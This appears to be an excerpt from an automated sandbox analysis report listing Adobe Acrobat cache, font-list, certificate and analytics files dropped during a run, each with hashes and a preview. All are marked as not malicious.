C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.146724786969537
Encrypted:	false
SSDEEP:	6:iOnMukM+q2PcNwi2nKuAl9OmbzNMxIFUtFMGmZmwrM+kMVkwOcNwi2nKuAl9Ombg:7nMFM+vLZHAa8jFUtFMGm/rMVMV54ZHP
MD5:	56A6F8A8CC52F19FEBA968DF7ADF1BCB
SHA1:	9A45DA39558500318B01AA2CB318E570428BC338
SHA-256:	66E78DCC668D09E222F683394692B7FD5BCB0DAA7764268C2AB77F966DC1A2FC
SHA-512:	A8908828C0288FD075F937F657FF2B19E0C7476572220E612041FB1ACB579C65017D9A85A3CE6E7B0E4724A59A0226132B46C87AB23AB14F9FC98F0CA71B483D
Malicious:	false
Preview:	2025/01/11-01:11:31.835 148c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:11:31.838 148c Recovering log #3.2025/01/11-01:11:31.853 148c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438876425084916
Encrypted:	false
SSDEEP:	384:Cetci5GciBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:awurVgazUpUTTGt
MD5:	381F18F72D482D8D4C5257C2C0E3C138
SHA1:	6306504601251C49E303315E061CB46CF0C0726D
SHA-256:	323A053AD75AF8A7142D805762AB3F987511A6EC6AF9D82EE861A0BAEF816867
SHA-512:	A327152DC51FDEE3A2855DAE0A09D15EBEC0B5F36D1472A49914C5BFAE94D0722AB84E391C0C8ED63B385F9B144D7659803E5247C2D2A038F047B17E56BA3ED2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2126716688487114
Encrypted:	false
SSDEEP:	24:7+tRj6wKKqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MzB:7MJWKq/mFTIF3XmHjBoGGR+jMz+LhA
MD5:	1BB51D94ECAD72A4357FBF4A3FF0979F
SHA1:	CF2D0513393D984CEB16D12F95FA6FDDB00CD835
SHA-256:	09845EBB44DA939C9384B91E0C7CD11B8BB96157CBE7F419D81F4BE4337843DD
SHA-512:	FEB46C2386372FF403971E8C0149110714CE6B85AAD403C9E35E1F2E44518FF9DE47917835FAA135FB134061B4DF76D223595DEB9AA642464781A22983A936A4
Malicious:	false
Preview:	.... .c.....NK3.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklfSN3/tfllXlE/HT8kizttNNX8RolJuRdxLlGB9lQRYwpDdt:kKFNPeT8/NMa8RdWBwRd
MD5:	8BD23C4BE41F73B4636DADA33F504EE3
SHA1:	258D8E31A48E0C54F9840F0ABFB2C0B7CC45CFA2
SHA-256:	72F9E8A1F9B296754BA18BDC70162A9E6E14CCB14AC73D3C958464B4498074EC
SHA-512:	DA6F6EF1CAF66E8F487D55FE505A09F2F072900E7740E6027CEB964B3DA34ADCF934CCED29BF6E694063135B0894B8BD31C3A7346F92D1CBF2063F04109777E7
Malicious:	false
Preview:	p...... .........wp..c..(....................................................... ..........W.....[..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kKBxNL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:5jiDnLNkPlE99SNxAhUe/3
MD5:	66A38D8CB4240A37B7D5188D15EC12F3
SHA1:	B64835D38967B619657ECA1A5E42607183F2E2CB
SHA-256:	890E29E3542B5D21014B2DE0E27638F7FAE93E59229ECA3B49B4EE6B2E3F0673
SHA-512:	45DAEF4CE3783CD658C54E38E8EA3C0E775B0CABAC3411A75EEF65576F7C054A7DF9B071862ADCFD6712D49B15926E4C6BFEB422CA3E731BDDB7EF11FDA921B5
Malicious:	false
Preview:	p...... ........$....c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7844

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7844

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.378024513340429
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJM3g98kUwPeUkwRe9:YvXKXqZCRZRsdTeOeVQnGMbLUkee9
MD5:	E7D90389C7F03F944FCB05AB8A21DA25
SHA1:	CC497E29D2097DC233EDDB344EFC22FD14786B68
SHA-256:	E30FEED248066CFEE320989C6923A01F09D9F26CBF0ECD027C55754FFEA71AE3
SHA-512:	311B86916C183D03ECE17DDB4DF3E9DCB6FD9BA00CACC9929297F3CAB6A2900A7CDC39784B13333531B672A36674F29DE358B1345598E539A1101C935EEC6A13
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.313181414351248
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJfBoTfXpnrPeUkwRe9:YvXKXqZCRZRsdTeOeVQnGWTfXcUkee9
MD5:	818B11A960BEE412A8C18F6052E36364
SHA1:	5D22AC91EA8995468C6C0DD5CF71DE5CB0E41DA9
SHA-256:	5DEBB9F3A62F41892CD3C82AF196D60666520103F58C150611629D181FAEAD70
SHA-512:	C86ED4955C02EEA11B23146FB6A28F0D395544E4D57627A6E6CE9A1CE26F07D674F77D94A02D402AE56AEA89BC214907CD26F52C3BB3D13DE04B27E41A051BC3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292176449746323
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJfBD2G6UpnrPeUkwRe9:YvXKXqZCRZRsdTeOeVQnGR22cUkee9
MD5:	623BC5395F677718533607DC03DFF47B
SHA1:	60813F1C596959BBBC7D34AF07EDDED6F62C160E
SHA-256:	6B5C41C2D40573D7ED0CDF9AE63664C17F590D1DCAD0B3DC141873EF3EE44D67
SHA-512:	B202F9A4D1AF536AC22DDB39A67021E4111F0A3FB966167FC565B0A879A1D13966D5AEDA41CC46E59224DC8164FEB025509C86AD0DF9833054FDABFC82DD2872
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.365417242004831
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJfPmwrPeUkwRe9:YvXKXqZCRZRsdTeOeVQnGH56Ukee9
MD5:	CA48747079989C2D4713B2681C195898
SHA1:	D475D751A49E03822CAF30491C0AD2B7B2BD5872
SHA-256:	7935BE45A55844BAD7E82AE9EC3311A627F92A123159E29203C89355746568E5
SHA-512:	5B767E13543C4B19E93F63A2753561B0A60998969CA0C92B5892849241194DC83D52FB188843351889D3CCFDAB5554D91264359E24A685D58445B9FD6696691B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6927009029028985
Encrypted:	false
SSDEEP:	24:Yv6X2+RmeOeVQspLgE9cQx8LennAvzBvkn0RCmK8czOCCSk:YvD+sevVZhgy6SAFv5Ah8cv/k
MD5:	1C0C0D270FD6FD7B9CF6E67B6CC31E17
SHA1:	11CB0F64EE78389A4709706DC78A2E01C11CAA75
SHA-256:	2B4827D94CEE9AD33B5F0805151AEC7DB79DD4A1EDA26313DA441125DB06A5FE
SHA-512:	DC5D6402B43F102195309B66467B749BC1F2834DEF0233EE81916CAF3F298AAAD8305B9ACA620B926A216B0232144B98A2BB75E8EFE53829271C812DF9FC622F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30192915818509
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJf8dPeUkwRe9:YvXKXqZCRZRsdTeOeVQnGU8Ukee9
MD5:	E79743C8198A68CBB1B5C52DB83E4DFA
SHA1:	9036B169AF83B0039FA25F6635805299522273E8
SHA-256:	26866C27093143E16A3E4B5C6E3536E96C0364E3A1912A880E99B57B1FBF0E8C
SHA-512:	3B278CB63A364CC7CF68C02F15AF392BBFD9AC645DDAB3ECEB18E32450734FD2DBC04A68E435188AEC6E80A64896DEBFBE0721E7F3901270930CA343FCCA9AFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

